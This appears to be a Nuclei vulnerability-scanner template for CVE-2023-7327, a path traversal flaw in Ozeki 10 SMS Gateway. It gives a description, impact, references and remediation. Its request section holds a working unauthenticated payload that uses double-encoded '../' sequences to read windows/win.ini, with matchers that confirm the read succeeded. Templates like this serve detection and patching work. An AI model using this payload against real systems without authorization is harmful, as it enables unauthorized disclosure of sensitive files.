id: CVE-2023-7327

info:
  name: Ozeki 10 SMS Gateway 10.3.208 - Arbitrary File Read
  author: r3Y3r53
  severity: high
  description: |
    An arbitrary file read vulnerability, also known as a "path traversal" or "directory traversal" vulnerability, occurs when an attacker is able to access files on a system that they shouldn't have access to. This vulnerability arises from improper input validation or insufficient access controls in an application.
  impact: |
    Unauthenticated attackers can read arbitrary files, leading to sensitive information disclosure.
  remediation: |
    Update to the latest version of Ozeki SMS Gateway.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7327
    - https://www.exploit-db.com/exploits/51646
    - https://ozeki-sms-gateway.com/attachments/702/installwindows_1689352737_OzekiSMSGateway_10.3.208.zip
  classification:
    cve-id: CVE-2023-7327
    epss-score: 0.17643
    epss-percentile: 0.95195
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,ozeki,lfi,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/octet-stream") && contains(body, "Mail") && contains(body, "files")'
        condition: and
# digest: 490a004630440220323f492c2ea25594f75225d1f284787d0cd52509cbbbefcd1f0bc2cb2922c553022013779972abbf9b435f121bd799bfd73e2d8e3b6aaaa714a3c0052c5653cb202e:922c64590222798bb761d5b6d8e72950